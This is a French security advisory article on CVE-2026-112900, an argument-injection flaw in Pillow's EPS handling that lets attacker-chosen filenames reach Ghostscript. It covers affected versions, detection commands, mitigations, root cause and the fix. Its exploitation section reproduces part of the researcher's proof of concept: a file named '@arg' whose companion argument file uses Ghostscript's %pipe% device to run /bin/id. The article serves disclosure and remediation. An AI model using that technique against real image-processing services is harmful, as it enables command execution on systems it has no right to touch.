Pillow : RCE par injection d’arguments Ghostscript (CVE-2026-112900)
Pillow 2.6.0 à 12.3.0 transmet sans assainissement à Ghostscript un nom de fichier EPS ou PostScript contrôlé par l’attaquant, permettant une injection d’arguments et une exécution de commandes ; corrigé dans 13.0.0.
En bref
- CVE-2026-112900 est une injection d’arguments dans
PIL.EpsImagePlugin.Ghostscript(). Pillow transmet à Ghostscript le nom d’un fichier EPS ou PostScript contrôlé par l’appelant, sans vérification, à la position-f. Un nom commençant par-ou@est donc interprété comme une option ou une référence à un fichier d’arguments plutôt que comme un nom de fichier. - L’examen du bulletin par GitHub classe la faille comme critique (CVSS v4.0 9.2). Le bulletin de Pillow lui-même la classe comme modérée, car l’attaquant doit contrôler le nom du fichier.
- Toutes les versions de Pillow de 2.6.0 (octobre 2014) à 12.3.0 incluse sont affectées. La seule version corrigée est 13.0.0, publiée le 16 octobre 2026.
- Le chercheur, Chanu Kang de CysecLab à KAIST, a confirmé l’exécution de commandes (
ids’exécute) sur Pillow 12.3.0 avec Ghostscript 10.02.1 et 10.07.1, avec le paramètre-dSAFERactivé par défaut dans Pillow ; la preuve de concept est publiée dans le bulletin. - La fiche de CISA n’indique aucune exploitation connue, et aucune attaque réelle n’a été signalée.
- Mettez à jour vers Pillow 13.0.0 partout, reconstruisez les images qui figent une version plus ancienne et retirez le binaire
gsde tout hôte qui ouvre des images non fiables.
Suis-je concerné ?
Vous êtes concerné si toutes ces conditions sont réunies :
- Vous utilisez Pillow 2.6.0 à 12.3.0 dans un composant de traitement d’images : endpoint d’envoi de fichiers web, service d’avatars ou de miniatures, pipeline documentaire ou PDF, étape de prétraitement pour le machine learning.
- Votre code appelle
Image.open()(ouImage.open(...).load()) sur des fichiers EPS ou PostScript (PS), ou sur tout un répertoire d’envoi contenant potentiellement l’un de ces formats, et la personne qui fournit le fichier peut influencer son nom. Les endpoints qui conservent, dérivent ou construisent le nom de stockage à partir d’entrées utilisateur constituent la cible réaliste. - Le binaire Ghostscript (
gs) est installé sur cet hôte, car Pillow l’appelle comme processus externe pour effectuer le rendu des fichiers EPS et PS.
| Logiciel | Versions affectées | Version corrigée |
|---|---|---|
Pillow (package PyPI pillow) |
De 2.6.0 à 12.3.0, toutes les versions depuis octobre 2014 | 13.0.0 (16 octobre 2026) |
| Rétroportages pour Pillow 12.x | aucun | passer à 13.0.0 |
Vérifiez ce qui est installé dans les environnements qui traitent les fichiers envoyés et dans les images de conteneurs :
python -m pip show pillow | grep -E '^(Name|Version)' # Name: pillow, Version: 12.3.0 means affected
python -c "import PIL; print(PIL.__version__)"
grep -inE 'pillow' requirements*.txt Pipfile.lock pyproject.toml poetry.lock 2>/dev/null # any pillow line: requirements, PEP 621 or Poetry pyproject, lockfiles
docker run --rm your-image python -m pip show pillow | grep Version
command -v gs && gs --version # Ghostscript presence on the image host
Le contenu PostScript du fichier n’a aucune importance pour cette faille : le déclencheur est son nom. Un fichier EPS ou PS parfaitement inoffensif provoque tout de même l’injection lorsque son nom est influencé par l’attaquant.
Pillow est téléchargé environ 143.4 millions de fois par semaine sur PyPI. Une part importante des images de build et de services Python peut donc embarquer une version affectée.
Comment corriger le problème ?
Mettez à jour vers Pillow 13.0.0 et reconstruisez tout ce qui embarque une version plus ancienne :
python -m pip install --upgrade "Pillow==13.0.0"
Reconstruisez ensuite les images de conteneurs et les images de base contenant une ancienne version de Pillow, ainsi que vos propres wheels qui l’embarquent : modifier la dépendance requise ne change pas ce qui est déjà intégré à une image. Notez que 13.0.0 abandonne la prise en charge de Python 3.10 : les environnements encore en 3.10 doivent donc d’abord passer à Python 3.11 ou ultérieur.
Si vous ne pouvez pas effectuer la mise à jour aujourd’hui, deux mesures réduisent l’exposition, avec des limites explicites :
- Supprimez le binaire
gsdes hôtes qui ouvrent des images non fiables. Sans Ghostscript, Pillow ne peut pas effectuer le rendu EPS ou PS : le chemin de code vulnérable ne s’exécute donc jamais. Cela ferme cette faille mais désactive aussi le traitement EPS et PS, ce qui est acceptable pour la plupart des services. - Ne transmettez jamais à
Image.open()un nom de fichier EPS ou PS influencé par un attaquant. Générez vos propres noms de stockage (un UUID, une clé de base de données) lors de l’envoi, ou copiez le fichier vers un chemin choisi par le serveur avant de l’ouvrir. Cette mesure supprime le prérequis de l’attaque, mais exige que tous les chemins de code respectent la règle, d’où la nécessité de corriger Pillow lui-même.
Quelle est la cause racine ?
Pillow construit une ligne de commande Ghostscript en utilisant tel quel le nom de fichier contrôlé par l’appelant. Un nom que Ghostscript traite spécialement (option commençant par - ou référence à un fichier d’arguments commençant par @) est donc interprété comme tel.
Lorsque Pillow effectue le rendu d’un fichier EPS ou PostScript (les deux formats sont traités par EpsImagePlugin), Ghostscript() dans src/PIL/EpsImagePlugin.py assemble la commande et lance le sous-processus. Voici le code vulnérable cité dans le bulletin :
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
# ... size and resolution options ...
"-dSAFER", # default sandbox; does NOT stop this injection
"-sDEVICE={device}",
"-sOutputFile={outfile}",
"-c",
"...",
"-f",
infile, # injected here: no check for a leading "-" (or "--") or "@"
"-c",
"showpage",
]
subprocess.check_call(command, ...)
fp.name est le nom avec lequel le fichier a été ouvert, y compris un nom choisi par la personne qui l’a envoyé. Si l’objet fichier n’a pas de nom sur disque, la branche else crée un chemin sûr avec tempfile.mkstemp(). C’est pourquoi seule la première branche est vulnérable.
La valeur infile est ensuite placée directement après -f dans la liste des arguments. Aucune normalisation ni vérification n’est effectuée pour les deux préfixes que l’analyseur d’arguments de Ghostscript traite spécialement.
Ghostscript interprète un - initial (y compris la forme -- mentionnée dans le bulletin) comme une option, et un @ initial comme une référence à un fichier d’arguments : @arg lui demande de lire des arguments supplémentaires dans le fichier nommé arg. La sandbox -dSAFER limite ce que PostScript peut faire, pas la façon dont la ligne de commande est analysée. Elle n’intervient donc pas.
Comment la faille est-elle exploitée ?
L’exploit réside dans le nom du fichier. Nommez-le -h et Image.open() le transforme en gs ... -f -h. Nommez-le @arg et Ghostscript lit des arguments supplémentaires dans le fichier arg de l’attaquant.
La preuve de concept complète du chercheur figure dans le bulletin ; elle est limitée ici aux parties qui expliquent le bug. L’étape d’injection d’arguments ne nécessite qu’un nom de fichier :
name = "-h" # the attacker's chosen filename
with open(name, "wb") as f:
f.write(EPS) # a completely benign EPS document
im = Image.open(name)
im.load() # Ghostscript runs with "-f -h" and prints its help
Un fichier nommé -h devient gs ... -f -h, et Ghostscript affiche son aide au lieu d’effectuer le rendu : c’est la preuve que le nom a atteint l’analyseur d’arguments. Pour enchaîner sur l’exécution de commandes, il faut la forme @ et un second fichier également contrôlé par l’attaquant :
name = "@arg" # Ghostscript reads its arguments from the file "arg"
with open(name, "wb") as f:
f.write(EPS)
im = Image.open(name)
im.load()
Le fichier arg contient les arguments Ghostscript choisis par l’attaquant :
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Le nom @arg amène Ghostscript à lire des arguments supplémentaires dans arg et à les ajouter à sa ligne de commande. Le périphérique de sortie %pipe% lui fait exécuter /bin/id et écrire le résultat du rendu dans ce processus : la commande s’exécute donc. La ligne uid= affichée par id constitue la preuve d’exécution.
Le chercheur a confirmé l’exécution de id avec l’invocation par défaut de Pillow (-dSAFER activé), sur Pillow 12.3.0 avec Ghostscript 10.02.1 puis Ghostscript 10.07.1.
Un simple -h réussit toujours comme injection d’un argument unique. La forme RCE exige que l’attaquant contrôle aussi le contenu du fichier texte référencé, ce qui correspond à un second fichier envoyé dans le cas d’un endpoint d’envoi.
Quel est le déroulement de l’attaque ?
La chaîne part d’un fichier envoyé dont l’attaquant contrôle le nom et aboutit à une commande shell exécutée sous l’identité de l’utilisateur du service d’images.
nommé @arg et un second fichier arg"] --> B["Image.open() atteint
EpsImagePlugin.Ghostscript()"] B --> C["La liste de commande contient
-f suivi du nom brut"] C --> D["Ghostscript interprète @arg
comme une référence à un fichier d’arguments"] D --> E["Les arguments du second fichier
de l’attaquant rejoignent la ligne de commande"] E --> F["%pipe% exécute la commande
sous l’identité du service"]
Sous forme textuelle :
- L’attaquant envoie un fichier EPS inoffensif nommé
@arget un second fichier nomméarg. Image.open()atteintEpsImagePlugin.Ghostscript(), qui place le nom brut du fichier juste après-f.- Ghostscript interprète
@argcomme une référence à un fichier d’arguments et ajoute les arguments deargà sa ligne de commande. - Le périphérique de sortie
%pipe%injecté exécute la commande de l’attaquant sous l’identité de l’utilisateur du service.
Que peut faire un attaquant ?
Un attaquant qui contrôle un nom de fichier transmis à Image.open() pour un fichier EPS ou PS sur un hôte où gs est installé peut :
- Injecter n’importe quel argument unique dans la ligne de commande Ghostscript. Cela réussit systématiquement et peut modifier le rendu, rediriger la sortie ou faire planter le processus.
- Exécuter des commandes arbitraires avec les privilèges du processus Python s’il contrôle également le contenu d’un second fichier référencé avec la forme
@name. Le chercheur l’a démontré en exécutantid.
Le bulletin et sa PoC établissent quatre conditions :
- Aucune authentification au-delà de celle que l’application exige pour accepter un fichier.
- Un nom de stockage qui conserve le préfixe
-ou@choisi par l’attaquant. - La présence de
gssur l’hôte. - Pour exécuter une commande plutôt que simplement injecter un argument, un second fichier contrôlé par l’attaquant.
L’impact ne dépend pas du contenu PostScript : rechercher du contenu EPS malveillant dans les fichiers envoyés ne traite donc pas ce problème.
Pourquoi le correctif fonctionne-t-il ?
Le correctif, commit a2c363141 (pull request #10090, fusionnée le 1 octobre 2026), normalise le chemin avant qu’il n’atteigne la liste des arguments :
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
- infile = fp.name
+ # Make the path absolute so that a filename beginning with "-" or "@"
+ # can never be interpreted by Ghostscript's argument parser
+ # as an option or an @-file token
+ infile = os.path.abspath(fp.name)
else:
in_fd, infile_temp = tempfile.mkstemp()
os.path.abspath() renvoie un chemin commençant par un séparateur de chemin (ou une lettre de lecteur sous Windows). La chaîne transmise à Ghostscript ne peut donc plus commencer par - ou @, et les deux formes spéciales deviennent des noms de fichier ordinaires. La branche tempfile était déjà sûre.
Le correctif résout entièrement le problème à la position -f qui portait le bug. Il ajoute un test de non-régression (test_filename_not_parsed_as_ghostscript_argument) qui effectue le rendu d’un fichier nommé -h et vérifie que l’image est décodée au lieu d’afficher le texte d’aide.
Comment vérifier si j’ai été compromis ?
Aucun indicateur de compromission n’est publié pour cette faille et la fiche CISA de la CVE indique l’absence d’exploitation. En attendant de nouveaux éléments, recherchez les signaux généraux que la faille laisserait :
- Des processus Ghostscript (
gs) sur des hôtes dont le seul traitement d’images est piloté par Pillow. - Des noms de fichier commençant par
-ou@dans le stockage des fichiers envoyés. - Une activité sortante ou sur les fichiers inattendue du compte du service d’images au moment des requêtes de traitement.
Si vous trouvez un tel nom de fichier antérieur à votre mise à jour, considérez l’hôte comme potentiellement compromis et renouvelez tous les identifiants, jetons et secrets accessibles depuis cet hôte.
Chronologie
- 2026-10-01 : Pillow fusionne le correctif, commit
a2c363141, qui transforme le nom d’entrée EPS en chemin absolu. - 2026-10-16 : Pillow 13.0.0 est publié avec le correctif et un test de non-régression.
- 2026-10-21 : le bulletin GHSA-w889-685w-c8fh et la fiche CVE-2026-112900 sont publiés, avec la preuve de concept et l’exécution de commandes confirmée.
- 2026-10-26 : publication de cet article.
FAQ
Ghostscript doit-il être installé pour que je sois concerné ?
Oui, pour cette faille. Pillow appelle Ghostscript lorsqu’il effectue le rendu d’un fichier EPS ou PostScript (PS). Un hôte sans binaire gs n’atteint donc jamais la construction de commande vulnérable, quel que soit le format. Supprimer gs ferme cette exposition au prix de la perte de prise en charge EPS et PS.
Le paramètre -dSAFER de Pillow me protège-t-il ?
Non. La PoC d’exécution de commandes du chercheur se reproduit avec l’invocation par défaut de Pillow, qui comprend -dSAFER, sur Ghostscript 10.02.1 et 10.07.1. L’injection intervient lors de l’analyse de la ligne de commande, avant que la sandbox ne régisse ce que le document peut faire.
Le danger vient-il ici d’une image EPS malveillante ?
Pas pour cette CVE. La faille réside dans le nom du fichier, pas dans son contenu PostScript. C’est pourquoi le bulletin la distingue des recommandations documentées de Pillow concernant la prudence à adopter avec le contenu EPS non fiable. Les bugs liés au contenu des images sont des problèmes distincts, et la même version 13.0.0 en corrige plusieurs, dont le dépassement de tampon sur le tas FlashPix de CVE-2026-112398.
Pourquoi GitHub la classe-t-il critique à 9.2 alors que Pillow indique une sévérité modérée ?
L’examen du bulletin par GitHub attribue un score CVSS v4.0 de 9.2 au pire cas réaliste : un endpoint d’envoi qui conserve les noms choisis par l’attaquant sur un hôte doté de Ghostscript. Le bulletin de Pillow classe le problème comme modéré parce que l’attaque nécessite une influence sur le nom du fichier, prérequis absent de certains déploiements. Les évaluations reflètent leurs sources. Votre exposition réelle dépend de la conservation des noms choisis par l’attaquant dans votre traitement des fichiers envoyés.
La mise à jour risque-t-elle de casser mon environnement Python 3.10 ?
Oui : Pillow 13.0.0 abandonne la prise en charge de Python 3.10. Ces environnements doivent donc d’abord passer à Python 3.11 ou ultérieur. Il n’existe aucun rétroportage de ce correctif pour 12.x : les déploiements Python 3.10 doivent changer de version de Python ou, en attendant, supprimer le binaire gs et cesser de transmettre des noms influencés par l’attaquant à Image.open().
Quelles autres failles Pillow 13.0.0 corrige-t-il ?
Ce sont des failles distinctes avec des conditions distinctes, toutes corrigées par la même version : CVE-2026-112398 (dépassement de tampon sur le tas dans les tuiles JPEG FlashPix), CVE-2026-112393 (dépassement lors de l’enregistrement TIFF en mémoire, présent depuis 2013, avec une preuve de concept publique) et CVE-2026-112403 (dépassement dans les miniatures JPEG sans perte). La mise à jour vers 13.0.0 traite l’ensemble en une fois.
Où Pillow est-il encore figé à une version antérieure à 13.0.0 ?
Scannez vos dépôts, images de conteneurs et services exposés sur Internet avec Ostorlab pour repérer chaque déploiement qui fige encore Pillow à une version antérieure à 13.0.0 et chaque hôte où gs côtoie un chemin d’envoi de fichiers non fiables.
Références
- GHSA-w889-685w-c8fh, bulletin Pillow avec la cause racine, la PoC (poc.py, poc-rce.py et le fichier arg) et la RCE confirmée, publié le 21 octobre 2026, classé modéré par l’éditeur et critique lors de l’examen du bulletin par GitHub : https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh (consulté le 26 octobre 2026)
- Fiche CVE-2026-112900, score CVSS v4.0 9.2 attribué par GitHub, CWE-78 et CWE-88, CISA ADP indiquant l’absence d’exploitation : https://cveawg.mitre.org/api/cve/CVE-2026-112900 (consultée le 26 octobre 2026)
- Commit du correctif a2c363141, « Transform EPS file name to an absolute path before invoking Ghostscript », PR #10090 : https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9 (consulté le 26 octobre 2026)
- Version Pillow 13.0.0, publiée le 16 octobre 2026, qui abandonne Python 3.10 et corrige les autres failles d’image associées : https://github.com/python-pillow/Pillow/releases/tag/13.0.0 (consultée le 26 octobre 2026)
- Bulletins associés à la même version, CVE-2026-112398 FlashPix (https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h), CVE-2026-112393 TIFF (https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf) et CVE-2026-112403 miniature JPEG (https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) (consultés le 26 octobre 2026)
- Statistiques de téléchargement PyPI pour pillow, environ 143.4 millions par semaine : https://pypistats.org/api/packages/pillow/recent (consultées le 26 octobre 2026)
- The Hacker News sur la faille et la série de correctifs Pillow, 23 octobre 2026 : https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html (consulté le 26 octobre 2026)